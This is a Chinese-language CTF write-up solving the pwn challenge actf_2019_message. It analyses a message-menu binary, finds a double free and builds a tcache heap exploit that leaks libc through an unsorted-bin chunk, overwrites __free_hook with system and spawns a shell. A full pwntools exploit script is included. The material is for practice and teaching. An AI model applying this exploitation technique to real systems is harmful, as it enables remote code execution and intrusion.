actf_2019_message
最近学习了tcache,在buu上发现了一道很有意思的题
actf_2019_message
检查防护
看到full relro第一时间想到hook
没有开PIE,极好极好,运行一下看看
看起来很普通的表单题
静态分析
main
主程序并不复杂,只是四个选项
sub_400911
初始化函数
sub_400A3F(选项1)
出现了第二个匿名常量,不难看出dword_602060是一个存储size和content_ptr的结构体,而dword_60204C则起到一个计数的作用,每次malloc都自增
创建一个结构体,不然用数组看,太费眼。struct界面insert可以创建结构体
修改一下结构类型
看起来就变得清爽多了
选项1没有发现什么特别的地方,接着往下看
sub_400B73(选项2)
delt函数相比较add函数就出现了大问题,double_free王炸开局,匪夷所思的是,content_ptr没有置零,置零了size
sub_400C40(选项3)
到这里解释了为啥要置零size了,修改的时候要验证一遍,决绝uaf,edit的过程也是read完成的,没有毛病
sub_400D21(选项4)
经典show函数,看起来没太大毛病
思路
存在double free,但是需要先泄露libc,show函数配合unsorted bin可以泄露mian_arena,泄露libcbase自然水到渠成
然而此时还没有意识到某些环节出现了问题
解题
交互函数先写好
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
DEBUG = 1
if DEBUG:
r = process('./ctf')
elf = ELF('./ctf')
libc = ELF('/so/docker/2.27/64/libc-2.27.so')
else:
r = remote('node4.buuoj.cn', 29239)
elf = ELF('./ctf')
libc = ELF('/so/buu/ubuntu18_64.so')
def choice(nu):
r.sendlineafter('choice: ', str(nu))
def add(content):
choice(1)
r.sendlineafter('length of message:\n', str(len(content)))
r.sendafter('input the message:\n', content)
def delt(idx):
choice(2)
r.sendlineafter('you want to delete:\n', str(idx))
def edit(idx, content):
choice(3)
r.sendlineafter('you want to edit:\n', str(idx))
r.sendafter('edit the message:\n', content )
def show(idx):
choice(4)
r.sendlineafter('want to display:\n', str(idx))
def debug():
gdb.attach(r)
pause()
泄露libc
想先利用unsorted bin泄露个main_arena,遇到第一个坑
for i in range(8):
add('a'*0x80)
for i in range(6):
delt(i)
delt(7)
delt(6)
多申请7个chunk喂饱全世界最xx的tcache,最后两个chunk颠倒着释放,防止和topchunk合并
释放后内存长这样,本想着直接把chunk6申请出来泄露。突然发现问题
由于delt之后的内存没有置零,add之后新的chunk只能排到后边,也就是说每次free,list的数量就会永久减一,这简直太xx了
这样下去很显然不等申请unsortedbin中的chunk,list就被占满了
可以利用double free控制list,手动置零list,但是这样count和list里的数量就对不上,所以最好的选择是count常量和list同时修改,double_free控制count常量(count常量就在list前0x14位),这样既可以修改count,同时修改list
控制count常量和list
for i in range(2):
add('a'*0x200)
for i in range(2):
delt(0)
add(p64(0x60204c).ljust(0x200, '\x00'))
add('a'*0x200)
payload0 = p64(1).ljust(0x14, '\x00') + p64(0x200) + p64(0x60204c)
payload = payload0.ljust(0x200, '\x00')
add(payload)
debug()
首先申请两个chunk,一个用于double free,第二个chunk让count加一,不然没法free chunk0第二次
然后就是喜闻乐见的double free,目的地址是常量count_60204c,payload是
p64(1).ljust(0x14, '\x00') + p64(0x200) + p64(0x60204c)
覆盖后的内存:
这里覆盖一个count的地址到chunk0,下次覆盖更加方便,有的师傅可能会发现覆盖的count是1,但是变成了2,覆盖的add也算一次add,所以加1
泄露main_arena
刚才申请不了的unsorted bin现在可以申请了,有了chunk0可以随心所以突破free次数的限制
for i in range(8):
add('a'*0x80)
for i in range(1, 7):
delt(i)
delt(8)
delt(7)
edit(0, payload) #list清理
先申请八个内存,七个喂饱tcache,剩下一个放到unsorted bins中,当然最后两个chunk依然要颠倒放,不然会和top chunk合并
到这里list又快满了,利用chunk0清空list
chunk7指向unsorted bin时
利用chunk0清理list后:
接下就是把所有tcache连着我们需要的unsorted bin申请出来
for i in range(7):
add('a'*0x80)
add('a'*0x8)
从unsorted bins中取出chunk大有讲究,取出来的chunk的fd一定会被我们覆盖掉,但是bk不会,且bk相对于main_arena也是固定偏移,把fd完全覆盖,打印chunk8就可以连带着把bk打印出来
在gdb中调试可以看到bk到main_arena偏移为224,但是只要解题步骤一样,调试的偏移放到题目中也不会变,所以可以通过bk算出main_arena地址
main_arena = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 224
malloc_hook = main_arena - 0x10
log.info('main_arena: '+hex(main_arena))
可以由此获取malloc_hook\libcbase\free_hook等更重要的值
libcbase = malloc_hook - libc.sym['__malloc_hook']
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
binsh = libcbase + libc.search('/bin/sh').next()
getshell
到这里已经可以为所欲为了,利用chunk0部署free_hook,修改成system,部署binsh,只需要free就可以getshell
payload = payload0 + p64(0x8) + p64(binsh) + p64(0x8) + p64(free_hook)
edit(0, payload.ljust(0x200, '\x00'))
edit(2, p64(system))
delt(1)
修改free_hook后:
exp
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
r = process('./ctf')
elf = ELF('./ctf')
libc = ELF('/so/docker/2.27/64/libc-2.27.so')
else:
r = remote('node4.buuoj.cn', 26913)
elf = ELF('./ctf')
libc = ELF('/so/buu/ubuntu18_64.so')
def choice(nu):
r.sendlineafter('choice: ', str(nu))
def add(content):
choice(1)
r.sendlineafter('length of message:\n', str(len(content)))
r.sendafter('input the message:\n', content)
def delt(idx):
choice(2)
r.sendlineafter('you want to delete:\n', str(idx))
def edit(idx, content):
choice(3)
r.sendlineafter('you want to edit:\n', str(idx))
r.sendafter('edit the message:\n', content )
def show(idx):
choice(4)
r.sendlineafter('want to display:\n', str(idx))
def debug():
gdb.attach(r)
pause()
for i in range(2):
add('a'*0x200)
for i in range(2):
delt(0)
add(p64(0x60204c).ljust(0x200, '\x00'))
add('a'*0x200)
payload0 = p64(1).ljust(0x14, '\x00') + p64(0x200) + p64(0x60204c)
payload = payload0.ljust(0x200, '\x00')
add(payload)
for i in range(8):
add('a'*0x80)
for i in range(1, 7):
delt(i)
delt(8)
delt(7)
edit(0, payload)
for i in range(7):
add('a'*0x80)
add('a'*0x8)
show(8)
main_arena = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 224
malloc_hook = main_arena - 0x10
log.info('main_arena: '+hex(main_arena))
libcbase = malloc_hook - libc.sym['__malloc_hook']
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
binsh = libcbase + libc.search('/bin/sh').next()
payload = payload0 + p64(0x8) + p64(binsh) + p64(0x8) + p64(free_hook)
edit(0, payload.ljust(0x200, '\x00'))
debug()
edit(2, p64(system))
delt(1)
r.interactive()
劳动成果: